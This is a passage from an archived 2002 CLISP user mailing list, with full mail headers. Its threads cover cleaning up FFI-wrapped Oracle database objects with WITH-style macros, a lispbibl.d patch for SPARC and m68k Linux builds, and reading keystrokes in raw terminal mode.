CLISP. I'm almost there. I ended up ditching the approach (used by UnCommon SQL and others) of importing the entire Oracle client library (OCI) with all its 200 or so functions and instead opted for a much simpler interface with a few routines written in "C". It's pretty fast as well. I've "sealed off" the Oracle bloat completely from the Lisp side, which sees a single "C" structure and just a few functions seen by CLISP. This is what 99.9% of users will need. But now I'm having a bit of a problem integrating it into CLISP via the foreign function interface (FFI). Specificaly it is not clear to me how I can guarantee that once I create my "database object" (i.e., the "C" structure above) I can be guaranteed it eventaully gets cleaned up via *my* cleanup routine - which releases a whole bunch of state and resources, e.g., database connections, query cursors alloc'd buffers, etc.) The FFI seems to have a built-in way for cleanup of malloc/free storage, however I need more than that. I have to call specific Oracle functions to release resources when the database object is garbage collected. I may also have to roll back or commit a database transaction. Using the "regexp" wrapper as a hint, I made a toy test FFI module that just store a string as its state and prints it when it's accessed - see below. However, I can't seem to get the cleanup ("destroy") function to get called. I tried wrapping my initialization ("constructor") routine with a call to "ext:finalize" asking it to run my cleanup when the object is GC'd but that did not seem to do it. Is there a way to tell CLISP: (1) when it is GC'ing my database object to call my cleanup and (2) to immediately GC my database object? This is because I don't want my Lisp Oracle client leaving database connections lying around - they consume a lot of resources on the Oracle server side. I need my objects to get expunged immediately after they cease to be visible to the program. Any ideas? --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 ; ------------------------------------------------------------------------- ; Test (defpackage "TEST" (:documentation "Testing the FFI") (:use "LISP" "FFI") (:export "NEWFN" "OPFN" "DESFN" )) (in-package "TEST") ; Alloc, init and return a pointer to new object (def-c-call-out newfn (:arguments (s c-string)) (:return-type c-pointer)) ; Destroy an object (def-c-call-out desfn (:arguments (ptr c-pointer)) (:return-type int)) ; Operate on an object (def-c-call-out opfn (:arguments (ptr c-pointer) (s c-string)) (:return-type int)) ; Make an object, ensuring cleanup (DOES NOT WORK???) (defun make-obj (s) (let (obj) (ext:finalize obj #'desfn) (setq obj (newfn s)))) ; ------------------------------------------------------------------------- From tfb@ocf.berkeley.edu Wed Jun 26 12:40:49 2002 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NIem-0005y8-00 for ; Wed, 26 Jun 2002 12:40:48 -0700 Received: from monsoon.OCF.Berkeley.EDU (daemon@monsoon.OCF.Berkeley.EDU [192.58.221.213]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id g5QJekA01052; Wed, 26 Jun 2002 12:40:46 -0700 (PDT) Received: (from tfb@localhost) by monsoon.OCF.Berkeley.EDU (8.11.6/8.10.2) id g5QJeju13560; Wed, 26 Jun 2002 12:40:45 -0700 (PDT) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15642.6333.469626.990615@monsoon.OCF.Berkeley.EDU> To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Ensuring call of cleanup ("destructor") routine for "C" object In-Reply-To: <200206261929.g5QJTv5J011115@van-halen.alma.com> References: <200206261929.g5QJTv5J011115@van-halen.alma.com> X-Mailer: VM 6.90 under Emacs 21.2.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 12:41:02 2002 X-Original-Date: Wed, 26 Jun 2002 12:40:45 -0700 John K. Hinsdale writes: > and (2) to immediately GC my database object? This is because > I don't want my Lisp Oracle client leaving database > connections lying around - they consume a lot of > resources on the Oracle server side. I need my objects > to get expunged immediately after they cease to be > visible to the program. > > Any ideas? You don't want to leave this up to the GC. Have a function accessible from Lisp that destroys these objects, and the resources they consume. GCs are good for managing resources that aren't tight, like memory. For most uses of database handles, you only need the object to have dynamic extent, in which case, a WITH-... style macro works wonderfully: (defmacro with-database-handle ((var &rest args) &body body) (let ((object (gensym))) `(let ((,object (make-obj ,@args))) (unwind-protect (let ((,var ,object)) ,@body) (destroy-object ,object))))) If the object's lifetime is more complicated than this, you just need to keep track of it, the GC is not an appropriate tool for cleaning it up. -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From kaz@footprints.net Wed Jun 26 12:50:13 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NInt-0006dq-00 for ; Wed, 26 Jun 2002 12:50:13 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17NInq-0001Db-00; Wed, 26 Jun 2002 12:50:10 -0700 From: Kaz Kylheku To: "John K. Hinsdale" cc: clisp-list@lists.sourceforge.net In-Reply-To: <200206261929.g5QJTv5J011115@van-halen.alma.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Ensuring call of cleanup ("destructor") routine for "C" object Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 12:51:02 2002 X-Original-Date: Wed, 26 Jun 2002 12:50:10 -0700 (PDT) On Wed, 26 Jun 2002, John K. Hinsdale wrote: > Date: Wed, 26 Jun 2002 15:29:57 -0400 > From: John K. Hinsdale > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] Ensuring call of cleanup ("destructor") routine for > "C" object > > > Thought I'd give an update on my adventures integrating Oracle access > w/ CLISP. I'm almost there. I ended up ditching the approach (used > by UnCommon SQL and others) of importing the entire Oracle client > library (OCI) with all its 200 or so functions and instead opted for a > much simpler interface with a few routines written in "C". It's > pretty fast as well. I've "sealed off" the Oracle bloat completely > from the Lisp side, which sees a single "C" structure and just a few > functions seen by CLISP. This is what 99.9% of users will need. > > But now I'm having a bit of a problem integrating it into CLISP via > the foreign function interface (FFI). Specificaly it is not clear to > me how I can guarantee that once I create my "database object" (i.e., > the "C" structure above) I can be guaranteed it eventaully gets > cleaned up via *my* cleanup routine - which releases a whole bunch of > state and resources, e.g., database connections, query cursors alloc'd > buffers, etc.) > > The FFI seems to have a built-in way for cleanup of malloc/free > storage, however I need more than that. I have to call specific > Oracle functions to release resources when the database object is > garbage collected. I may also have to roll back or commit a database > transaction. Common Lisp has no finalization routine feature (though some implementations do, according to a recent comp.lang.lisp discussion). But really, releasing resources such as open files, sockets or database connections at garbage collection time is probably too late! Such things should be explicitly released. One model to look at are the WITH-* standard macros in Common Lisp. For example WITH-OPEN-FILE associates a new stream with a file, evaluates some forms and then esures that the stream is closed. You could have open and close type routines in your FFI, and then write some WITH-* style macros to ensure that closes are matched with opens. These macros are typically based on UNWIND-PROTECT. In CLISP, here is what an expansion of WITH-OPEN-FILE looks like: [1]> (macroexpand '(with-open-file (stream args) form)) (LET ((STREAM (OPEN ARGS))) (DECLARE (SYSTEM::READ-ONLY STREAM)) (UNWIND-PROTECT (MULTIPLE-VALUE-PROG1 (PROGN FORM) (WHEN STREAM (CLOSE STREAM))) (WHEN STREAM (CLOSE STREAM :ABORT T)))) ; So you see, the stream is closed as soon as the WITH-OPEN-FILE form finishes evaluating, but the stream object persists until it is garbage collected. Regarding rollback and commit, you could probably hack up some macros that provide a convenient notation for doing it. From will@misconception.org.uk Wed Jun 26 17:12:00 2002 Received: from imailg1.svr.pol.co.uk ([195.92.195.179]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NMtD-0005wM-00 for ; Wed, 26 Jun 2002 17:11:59 -0700 Received: from modem-830.blotto.dialup.pol.co.uk ([62.25.147.62] helo=there) by imailg1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17NMtA-0007dk-00 for clisp-list@lists.sourceforge.net; Thu, 27 Jun 2002 01:11:56 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp & [sparc|m68k]-linux X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 17:12:11 2002 X-Original-Date: Thu, 27 Jun 2002 01:14:56 +0100 On Wednesday 26 Jun 2002 8:02 pm, Sam Steingold wrote: > Will, please try this on your sparc-linux and m68k-Linux boxes. > thanks. I don't have access to an m68k box directly either, but I will try this as soon as I can. I suspected it might have been that stanza of the file but I really don't have the understanding to delve in it. Thanks. From will@misconception.org.uk Wed Jun 26 17:51:09 2002 Received: from mail7.svr.pol.co.uk ([195.92.193.21]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NNV6-0002vC-00 for ; Wed, 26 Jun 2002 17:51:09 -0700 Received: from modem-830.blotto.dialup.pol.co.uk ([62.25.147.62] helo=there) by mail7.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17NNV3-0002xt-00 for clisp-list@lists.sourceforge.net; Thu, 27 Jun 2002 01:51:06 +0100 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp & [sparc|m68k]-linux X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="------------Boundary-00=_5IACQDYLBFWX2R6OKI06" Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jun 26 17:52:01 2002 X-Original-Date: Thu, 27 Jun 2002 01:54:05 +0100 --------------Boundary-00=_5IACQDYLBFWX2R6OKI06 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit On Wednesday 26 Jun 2002 8:02 pm, Sam Steingold wrote: > You need the following change (no patch yet! :-) I made the change but still get the same crash on the Sourceforge Sparc/Linux machine. Is there something I'm missing? I have attached the diff I made. --------------Boundary-00=_5IACQDYLBFWX2R6OKI06 Content-Type: text/x-diff; charset="iso-8859-1"; name="lispbibl.diff" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="lispbibl.diff" LS0tIGxpc3BiaWJsLmQub2xkCVRodSBKdW4gMjcgMDE6NTA6MjQgMjAwMgorKysgbGlzcGJpYmwu ZAlUaHUgSnVuIDI3IDAxOjUyOjQ3IDIwMDIKQEAgLTIzNTYsNyArMjM1NCw3IEBACiAgICAgIyBG b3IgcG9pbnRlcnMsIHRoZSBhZGRyZXNzIHRha2VzIHRoZSBmdWxsIHdvcmQgKHdpdGggdHlwZSBp bmZvIGluIHRoZQogICAgICMgbG93ZXN0IHR3byBiaXRzKS4gRm9yIGltbWVkaWF0ZSBvYmplY3Rz LCB3ZSB1c2UgMjQgYml0cyBmb3IgdGhlIGRhdGEKICAgICAjIChidXQgZXhjbHVkZSB0aGUgaGln aGVzdCBhdmFpbGFibGUgYml0LCB3aGljaCBpcyB0aGUgZ2FyY29sX2JpdCkuCi0gICAgI2lmICEo KGRlZmluZWQoTUM2ODBYMCkgJiYgZGVmaW5lZChVTklYX0xJTlVYKSkgfHwgKGRlZmluZWQoSTgw Mzg2KSAmJiBkZWZpbmVkKFVOSVhfQkVPUykpIHx8IChkZWZpbmVkKFNQQVJDKSAmJiBkZWZpbmVk KFVOSVhfTElOVVgpKSkKKyAgICAjaWYgIShkZWZpbmVkKEk4MDM4NikgJiYgZGVmaW5lZChVTklY X0JFT1MpKQogICAgICAgI2RlZmluZSBvaW50X3R5cGVfc2hpZnQgMAogICAgICAgI2RlZmluZSBv aW50X3R5cGVfbGVuIDgKICAgICAgICNkZWZpbmUgb2ludF90eXBlX21hc2sgMHgwMDAwMDA3RlVM CkBAIC0yMzc0LDI2ICsyMzcyLDYgQEAKICAgICAgICNkZWZpbmUgb2ludF9kYXRhX2xlbiAyNAog ICAgICAgI2RlZmluZSBvaW50X2RhdGFfbWFzayAweDNGRkZGRkMwVUwKICAgICAgICNkZWZpbmUg Z2FyY29sX2JpdF9vIDMwCi0gICAgI2VsaWYgKGRlZmluZWQoTUM2ODBYMCkgJiYgZGVmaW5lZChV TklYX0xJTlVYKSkgfHwgKGRlZmluZWQoU1BBUkMpICYmIGRlZmluZWQoVU5JWF9MSU5VWCkpCi0g ICAgICAjIE9uIFNwYXJjLUxpbnV4LCBtYWxsb2MoKWVkIGFkZHJlc3NlcyBhcmUgb2YgdGhlIGZv cm0gMHgwLi4uLi4uLiBvcgotICAgICAgIyAweGUuLi4uLi4uLiBCaXRzIDMxLi4yOSBhcmUgdGhl cmVmb3JlIHBhcnQgb2YgYW4gYWRkcmVzcyBhbmQgY2Fubm90Ci0gICAgICAjIGJlIHVzZWQgYXMg Z2FyY29sX2JpdC4gV2UgdGhlcmVmb3JlIGNob29zZSBiaXQgMjggYXMgZ2FyY29sX2JpdC4KLSAg ICAgICMgTm93LCB0aGUgMjQgZGF0YSBiaXRzIG9mIGFuIGltbWVkaWF0ZSB2YWx1ZSBtdXN0IG5v dCBpbnRlcnNlY3QgdGhlCi0gICAgICAjIGdhcmNvbF9iaXQsIHNvIHdlIHVzZSBiaXRzIDI3Li40 IGZvciB0aGF0ICh3ZSBjb3VsZCB1c2UgYml0cyAyNi4uMwotICAgICAgIyBhcyB3ZWxsKS4KLSAg ICAgICMgT24gbTY4ay1MaW51eCwgbWFsbG9jKCllZCBhZGRyZXNzZXMgYXJlIG9mIHRoZSBmb3Jt IDB4ODAuLi4uLi4gb3IKLSAgICAgICMgMHhjMC4uLi4uLi4gQml0cyAzMS4uMzAgYXJlIHRoZXJl Zm9yZSBwYXJ0IG9mIGFuIGFkZHJlc3MgYW5kIGNhbm5vdAotICAgICAgIyBiZSB1c2VkIGFzIGdh cmNvbF9iaXQuIFdlIHRoZXJlZm9yZSBoYXZlIHRocmVlIGNob2ljZXM6Ci0gICAgICAjICAgZGF0 YSBiaXRzOiBiaXRzIDI2Li4zLCBnYXJjb2xfYml0X28gPSAyOC8yNwotICAgICAgIyAgIGRhdGEg Yml0czogYml0cyAyNy4uNCwgZ2FyY29sX2JpdF9vID0gMjgvMwotICAgICAgIyAgIGRhdGEgYml0 czogYml0cyAyOC4uNSwgZ2FyY29sX2JpdF9vID0gNC8zCi0gICAgICAjZGVmaW5lIG9pbnRfdHlw ZV9zaGlmdCAwCi0gICAgICAjZGVmaW5lIG9pbnRfdHlwZV9sZW4gMzIKLSAgICAgICNkZWZpbmUg b2ludF90eXBlX21hc2sgMHhFMDAwMDAwRlVMCi0gICAgICAjZGVmaW5lIG9pbnRfZGF0YV9zaGlm dCA0Ci0gICAgICAjZGVmaW5lIG9pbnRfZGF0YV9sZW4gMjQKLSAgICAgICNkZWZpbmUgb2ludF9k YXRhX21hc2sgMHgwRkZGRkZGMFVMCi0gICAgICAjZGVmaW5lIGdhcmNvbF9iaXRfbyAyOAogICAg ICNlbmRpZgogICAgICNkZWZpbmUgb2ludF9hZGRyX3NoaWZ0IDAKICAgICAjZGVmaW5lIG9pbnRf YWRkcl9sZW4gMzIKQEAgLTI4MzYsMTIgKzI4MTQsNyBAQAogICAjZGVmaW5lIGNvbnNfYmlhcyAg ICAgICAzICAjIG1vZCA4CiAgICNkZWZpbmUgaW1tZWRpYXRlX2JpYXMgIDcgICMgbW9kIDgKIAot IyBJbW1lZGlhdGUgb2JqZWN0cyBoYXZlIGEgc2Vjb25kIHR5cGUgZmllbGQuCi0gICNpZiBkZWZp bmVkKFNQQVJDKSAmJiBkZWZpbmVkKFVOSVhfTElOVVgpCi0gICAgI2RlZmluZSBpbW1fdHlwZV9z aGlmdCAgMjkKLSAgI2Vsc2UKLSAgICAjZGVmaW5lIGltbV90eXBlX3NoaWZ0ICAzCi0gICNlbmRp ZgorICAjZGVmaW5lIGltbV90eXBlX3NoaWZ0ICAzCiAKICMgVGhlIHR5cGVzIG9mIGltbWVkaWF0 ZSBvYmplY3RzLgogICAjZGVmaW5lIGZpeG51bV90eXBlICAgICAgKCgwIDw8IGltbV90eXBlX3No aWZ0KSArIGltbWVkaWF0ZV9iaWFzKQo= --------------Boundary-00=_5IACQDYLBFWX2R6OKI06-- From samuel.steingold@verizon.net Thu Jun 27 07:48:01 2002 Received: from h021.c001.snv.cp.net ([209.228.32.135] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NaYx-0002pZ-00 for ; Thu, 27 Jun 2002 07:47:59 -0700 Received: (cpmta 24410 invoked from network); 27 Jun 2002 07:47:52 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.135) with SMTP; 27 Jun 2002 07:47:52 -0700 X-Sent: 27 Jun 2002 14:47:52 GMT To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp & [sparc|m68k]-linux References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 63 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 27 07:48:11 2002 X-Original-Date: 27 Jun 2002 10:47:47 -0400 > * In message > * On the subject of "Re: [clisp-list] clisp & [sparc|m68k]-linux" > * Sent on Thu, 27 Jun 2002 01:54:05 +0100 > * Honorable Will Newton writes: > > On Wednesday 26 Jun 2002 8:02 pm, Sam Steingold wrote: > > > You need the following change (no patch yet! :-) I appended the patch. > I made the change but still get the same crash on the Sourceforge > Sparc/Linux machine. Is there something I'm missing? I guess the struggle is not over yet. :-( CLISP _does_ build with the appended patch, but only --with-debug. This setting turns off assembly and registers. I.e., one has to figure out what registers are now grabbed by glibc on sparc (and probably on m68k) and thus are unavailable... -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux In C you can make mistakes, while in C++ you can also inherit them! --- lispbibl.d.~1.277.~ Wed Jun 26 13:59:20 2002 +++ lispbibl.d Wed Jun 26 16:03:59 2002 @@ -2364,7 +2364,10 @@ # For pointers, the address takes the full word (with type info in the # lowest two bits). For immediate objects, we use 24 bits for the data # (but exclude the highest available bit, which is the garcol_bit). - #if !((defined(MC680X0) && defined(UNIX_LINUX)) || (defined(I80386) && defined(UNIX_BEOS)) || (defined(SPARC) && defined(UNIX_LINUX))) + #if defined(SPARC) && defined(UNIX_LINUX) && (__GLIBC__ < 2 || (__GLIBC__ == 2 && __GLIBC_MINOR__ < 2)) + #define LINUX_SPARC_OLD_GLIBC + #endif + #if !((defined(MC680X0) && defined(UNIX_LINUX)) || (defined(I80386) && defined(UNIX_BEOS)) || defined(LINUX_SPARC_OLD_GLIBC)) #define oint_type_shift 0 #define oint_type_len 8 #define oint_type_mask 0x0000007FUL @@ -2382,9 +2385,10 @@ #define oint_data_len 24 #define oint_data_mask 0x3FFFFFC0UL #define garcol_bit_o 30 - #elif (defined(MC680X0) && defined(UNIX_LINUX)) || (defined(SPARC) && defined(UNIX_LINUX)) - # On Sparc-Linux, malloc()ed addresses are of the form 0x0....... or - # 0xe........ Bits 31..29 are therefore part of an address and cannot + #elif (defined(MC680X0) && defined(UNIX_LINUX)) || defined(LINUX_SPARC_OLD_GLIBC)) + # On Sparc-Linux with glibc 2.1 and older: + # malloc()ed addresses are of the form 0x0....... or 0xe........ + # Bits 31..29 are therefore part of an address and cannot # be used as garcol_bit. We therefore choose bit 28 as garcol_bit. # Now, the 24 data bits of an immediate value must not intersect the # garcol_bit, so we use bits 27..4 for that (we could use bits 26..3 @@ -2850,7 +2854,7 @@ #define immediate_bias 7 # mod 8 # Immediate objects have a second type field. - #if defined(SPARC) && defined(UNIX_LINUX) + #if defined(LINUX_SPARC_OLD_GLIBC) #define imm_type_shift 29 #else #define imm_type_shift 3 From will@misconception.org.uk Thu Jun 27 09:45:36 2002 Received: from mail13.svr.pol.co.uk ([195.92.193.24]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NcOk-0002SG-00 for ; Thu, 27 Jun 2002 09:45:34 -0700 Received: from modem-314.alakazam.dialup.pol.co.uk ([217.135.12.58] helo=there) by mail13.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17NcOh-00082L-00 for clisp-list@lists.sourceforge.net; Thu, 27 Jun 2002 17:45:31 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp & [sparc|m68k]-linux X-Mailer: KMail [version 1.3.2] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 27 09:46:04 2002 X-Original-Date: Thu, 27 Jun 2002 17:48:31 +0100 On Thursday 27 Jun 2002 3:47 pm, Sam Steingold wrote: > I guess the struggle is not over yet. :-( > CLISP _does_ build with the appended patch, but only --with-debug. > This setting turns off assembly and registers. > I.e., one has to figure out what registers are now grabbed by glibc on > sparc (and probably on m68k) and thus are unavailable... Looking at lispbibl.d: # Overview of use of registers in gcc terminology: # fixed: mentioned in FIXED_REGISTERS # used: mentioned in CALL_USED_REGISTERS but not FIXED_REGISTERS # (i.e. caller-saved) # save: otherwise (i.e. call-preserved, callee-saved) # # STACK mv_count value1 subr_self # MC680X0 used # I80386 save # SPARC fixed fixed fixed used But in the gcc sources it looks like they should be marked "save". (gcc/gcc/config/sparc/sparc.h) I'm going to look into how the other arches handle these things. The comment reads: /* 1 for registers that have pervasive standard uses and are not available for the register allocator. On non-v9 systems: g1 is free to use as temporary. g2-g4 are reserved for applications. Gcc normally uses them as temporaries, but this can be disabled via the -mno-app-regs option. g5 through g7 are reserved for the operating system. On v9 systems: g1,g5 are free to use as temporaries, and are free to use between calls if the call is to an external function via the PLT. g4 is free to use as a temporary in the non-embedded case. g4 is reserved in the embedded case. g2-g3 are reserved for applications. Gcc normally uses them as temporaries, but this can be disabled via the -mno-app-regs option. g6-g7 are reserved for the operating system (or application in embedded case). ??? Register 1 is used as a temporary by the 64 bit sethi pattern, so must currently be a fixed register until this pattern is rewritten. Register 1 is also used when restoring call-preserved registers in large stack frames. From corey@neural.dlsemc.com Thu Jun 27 13:10:35 2002 Received: from 63-217-197-137.sdsl.cais.net ([63.217.197.137] helo=neural.dlsemc.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Nfb9-0002ro-00 for ; Thu, 27 Jun 2002 13:10:35 -0700 Received: from corey by neural.dlsemc.com with local (Exim 3.34 #1 (Debian)) id 17NgCq-0007pg-00 for ; Thu, 27 Jun 2002 15:49:32 -0500 To: clisp-list@lists.sourceforge.net Message-ID: <20020627204932.GB29368@neural.dlsemc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.27i From: corey@neural.dlsemc.com Subject: [clisp-list] raw mode for charactor reading Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 27 13:11:05 2002 X-Original-Date: Thu, 27 Jun 2002 15:49:32 -0500 I'm having dificulty using the raw terminal mode. I updated to clisp 2.28, then tried: [1]> (system::terminal-raw *standard-input* t) NIL [2]> (system::terminal-raw *standard-input* t) T [3]> (defun something-stupid (ch) (princ ch) (sleep .1) (setf tmp (read-char-no-hang)) (if (null tmp) (something-stupid ch) (something-stupid tmp))) SOMETHING-STUPID [4]> (something-stupid #\a) aaaaaaaaaaaadfg ^hangs as soon as i hit a key, then prints all the keys that i've hit as soon as i hit enter. I wanted it to print aaaaaaaaaaaadddfffggg, and not even have to hit enter. My goal here is to check if a key has been hit, without holding up the program. (writing a interactive game in which your racing a clock) I can't find any further information on termial-raw. How should i go about this? Corey From samuel.steingold@verizon.net Thu Jun 27 13:50:49 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NgE5-0000zZ-00 for ; Thu, 27 Jun 2002 13:50:49 -0700 Received: (cpmta 4563 invoked from network); 27 Jun 2002 13:50:40 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 27 Jun 2002 13:50:40 -0700 X-Sent: 27 Jun 2002 20:50:40 GMT To: corey@neural.dlsemc.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] raw mode for charactor reading References: <20020627204932.GB29368@neural.dlsemc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020627204932.GB29368@neural.dlsemc.com> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 27 13:51:05 2002 X-Original-Date: 27 Jun 2002 16:50:38 -0400 > * In message <20020627204932.GB29368@neural.dlsemc.com> > * On the subject of "[clisp-list] raw mode for charactor reading" > * Sent on Thu, 27 Jun 2002 15:49:32 -0500 > * Honorable corey@neural.dlsemc.com writes: > > I'm having dificulty using the raw terminal mode. I updated to clisp > 2.28, then tried: > > [1]> (system::terminal-raw *standard-input* t) this is an internal function. do not use it. see or . -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux The early bird may get the worm, but the second mouse gets the cheese. From corey@neural.dlsemc.com Thu Jun 27 23:29:49 2002 Received: from 63-217-197-137.sdsl.cais.net ([63.217.197.137] helo=neural.dlsemc.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17NpGP-0004t8-00 for ; Thu, 27 Jun 2002 23:29:49 -0700 Received: from corey by neural.dlsemc.com with local (Exim 3.34 #1 (Debian)) id 17NpsE-0001ID-00 for ; Fri, 28 Jun 2002 02:08:54 -0500 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] raw mode for charactor reading Message-ID: <20020628070854.GA4110@neural.dlsemc.com> References: <20020627204932.GB29368@neural.dlsemc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i From: corey@neural.dlsemc.com Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 27 23:30:03 2002 X-Original-Date: Fri, 28 Jun 2002 02:08:54 -0500 On Thu, Jun 27, 2002 at 04:50:38PM -0400, Sam Steingold wrote: > > * In message <20020627204932.GB29368@neural.dlsemc.com> > > * On the subject of "[clisp-list] raw mode for charactor reading" > > * Sent on Thu, 27 Jun 2002 15:49:32 -0500 > > * Honorable corey@neural.dlsemc.com writes: > > > > I'm having dificulty using the raw terminal mode. I updated to clisp > > 2.28, then tried: > > > > [1]> (system::terminal-raw *standard-input* t) > > this is an internal function. > do not use it. Is it possible to read a charactor without waiting for enter to be pressed in clisp? If so how? Corey p.s. i've tried screen:read-keyboard-char, read-char-no-hang, and others with no luck. From ampy@ich.dvo.ru Fri Jun 28 00:02:27 2002 Received: from farpost.com ([212.107.195.33]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17Npls-0007vJ-00 for ; Fri, 28 Jun 2002 00:02:21 -0700 Received: (qmail 29041 invoked from network); 28 Jun 2002 07:01:45 -0000 Received: from unknown (HELO vladpress.vl.ru) (212.107.205.50) by vladpress.vl.ru with SMTP; 